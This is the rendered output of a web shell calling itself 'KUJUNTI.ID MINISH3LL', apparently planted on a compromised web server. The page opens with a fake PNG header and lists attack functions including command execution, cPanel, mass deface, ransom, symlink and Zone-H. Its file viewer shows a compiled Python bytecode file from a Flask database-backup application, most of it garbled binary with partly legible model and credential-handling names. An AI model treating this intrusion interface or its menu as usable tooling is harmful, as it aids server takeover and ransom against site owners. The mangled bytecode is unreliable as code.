\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv3/__pycache__/models.cpython-310.pyc


o

A��g��@s�ddlZddlZddlmZddlmZmZddlmZGdd�dej	�Z
Gdd�dej	�ZGd	d
�d
ej	�ZGdd�dej	�Z
Gd
d�deej	�ZGdd�dej	�ZdS)�N)�db)�generate_password_hash�check_password_hash)�	UserMixinc@s�eZdZdZejejdd�Zeje�d�dd�Z	eje�d�dd�Z
eje�d�dd�Zejejdd�Zeje�d�dd�Z
eje�d�dd�Zeje�d�dd�Zejejejjd	�Zejd
ddd�Zd
d�ZdS)�DatabaseConnectionz,Model for database connection configuration.T��primary_key�@F��nullable����default�	BackupJob�database��backref�lazycC�d|j�d�S)Nz<DatabaseConnection �>��name��self�r�8/var/www/html/yedekledb24/DatabaseBackupMaster/models.py�__repr__�zDatabaseConnection.__repr__N)�__name__�
__module__�__qualname__�__doc__r�Column�Integer�id�Stringr�db_type�host�port�username�passwordr�DateTime�datetime�utcnow�
created_at�relationship�backup_jobsrrrrrr�rc@s�eZdZdZejejdd�Zeje�d�dd�Z	eje�d�dd�Z
eje�d�dd�Zejejdd�Zeje�d�dd�Z
eje�d�dd�Zeje�d	�dd�Zejejejjd
�Zejdddd
�Zdd�ZdS)�
StorageTargetz.Model for backup storage target configuration.Trr	Fr
rr
�rr�storagercCr)Nz<StorageTarget rrrrrrr&rzStorageTarget.__repr__N)rr r!r"rr#r$r%r&r�storage_typer(r)r*r+�pathr,r-r.r/r0r1rrrrrr3r2r3c@s�eZdZdZejejdd�Zeje�d�dd�Z	ejeje�
d�dd�Zejeje�
d�dd�Zeje�d	�dd�Z
eje�d�dd�Zejejd
d�Zejejdd�Zejejejjd�Zejejdd�Zejdd
dd�Zdd�ZdS)rz#Model for backup job configuration.Trr	Fr
zdatabase_connection.idzstorage_target.idr�r�	BackupLog�jobrcCr)Nz<BackupJob rrrrrrr8rzBackupJob.__repr__N)rr r!r"rr#r$r%r&r�
ForeignKey�database_id�
storage_id�
schedule_type�schedule_value�retention_days�Boolean�enabledr,r-r.r/�last_runr0�logsrrrrrr)src@s�eZdZdZejejdd�Zejeje�d�dd�Z	ejej
ejjd�Z
eje�d�dd�Zejejdd�Zeje�d	�dd�Zejejdd�Zejejdd�Zd
d�ZdS)
r9z Model for backup execution logs.Trz
backup_job.idFr
rrr4cCs d|jj�d|j�d|j�d�S)Nz<BackupLog � r)r:r�	timestamp�statusrrrrrFs zBackupLog.__repr__N)rr r!r"rr#r$r%r;�job_idr,r-r.rFr&rG�Text�message�backup_file�
BigInteger�backup_size�Float�durationrrrrrr9;sr9c@s�eZdZdZejejdd�Zeje�d�ddd�Z	eje�d�ddd�Z
eje�d�dd	�Zejejdd
�Z
ejejejjd
�Zejejdd	�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�UserzModel for user authentication.Trr	F)�uniquer�xr4r
rcCst|�|_dS)z,Set password hash from a plaintext password.N)r�
password_hash�rr+rrr�set_passwordTszUser.set_passwordcCst|j|�S)z@Check if the provided password matches the stored password hash.)rrSrTrrr�check_passwordXszUser.check_passwordcCsdS)zAll users can view content.Trrrrr�can_view\sz
User.can_viewcC�|jS)z,Only admins can manage database connections.��is_adminrrrr�can_manage_db_connections`�zUser.can_manage_db_connectionscCrX)z'Only admins can manage storage targets.rYrrrr�can_manage_storagedr\zUser.can_manage_storagecCrX)z#Only admins can manage backup jobs.rYrrrr�can_manage_backup_jobshr\zUser.can_manage_backup_jobscCrX)zOnly admins can manage users.rYrrrr�can_manage_userslr\zUser.can_manage_userscCr)Nz<User r)r*rrrrrprz
User.__repr__N)rr r!r"rr#r$r%r&r*�emailrSrArZr,r-r.r/�
last_loginrUrVrWr[r]r^r_rrrrrrPJs"rPc@s�eZdZdZejejdd�Zeje�d�dd�Z	ejejdd�Z
ejejdd�Zejejdd�Z
eje�d�dd�Zeje�d�dd�Zeje�d�dd�Zeje�d�dd�Zejejejjd�Zejejejjejjd	�Zd
d�Zedd
��ZdS)�SmtpSettingszModel for SMTP email settings.Trr
Fr
rr4)r�onupdatecCr)Nz<SmtpSettings r)�mail_serverrrrrr�rzSmtpSettings.__repr__cCs�tj��}|durFtj�dd�ttj�dd��tj�dd���dvtj�d	d
���dvtj�dd�tj�d
d�tj�dd�tj�dd�d�S|j|j	|j
|j|j|j
|j|jd�S)z7Get the SMTP settings (there should only be one record)N�MAIL_SERVERzsmtp.gmail.com�	MAIL_PORTiK�MAIL_USE_TLS�True)�true�1�t�MAIL_USE_SSL�False�
MAIL_USERNAME��
MAIL_PASSWORD�MAIL_DEFAULT_SENDER�BACKUP_NOTIFICATION_EMAILS)rd�	mail_port�mail_use_tls�mail_use_ssl�
mail_username�
mail_password�mail_default_sender�notification_emails)rb�query�first�os�environ�get�int�lowerrdrsrtrurvrwrxry)�settingsrrr�get_settings�s(
��zSmtpSettings.get_settingsN)rr r!r"rr#r$r%r&rdrsrArtrurvrwrxryr,r-r.r/�
updated_atr�staticmethodr�rrrrrbts rb)r-r|�appr�werkzeug.securityrr�flask_loginr�Modelrr3rr9rPrbrrrr�<module>s*

© KUJUNTI.ID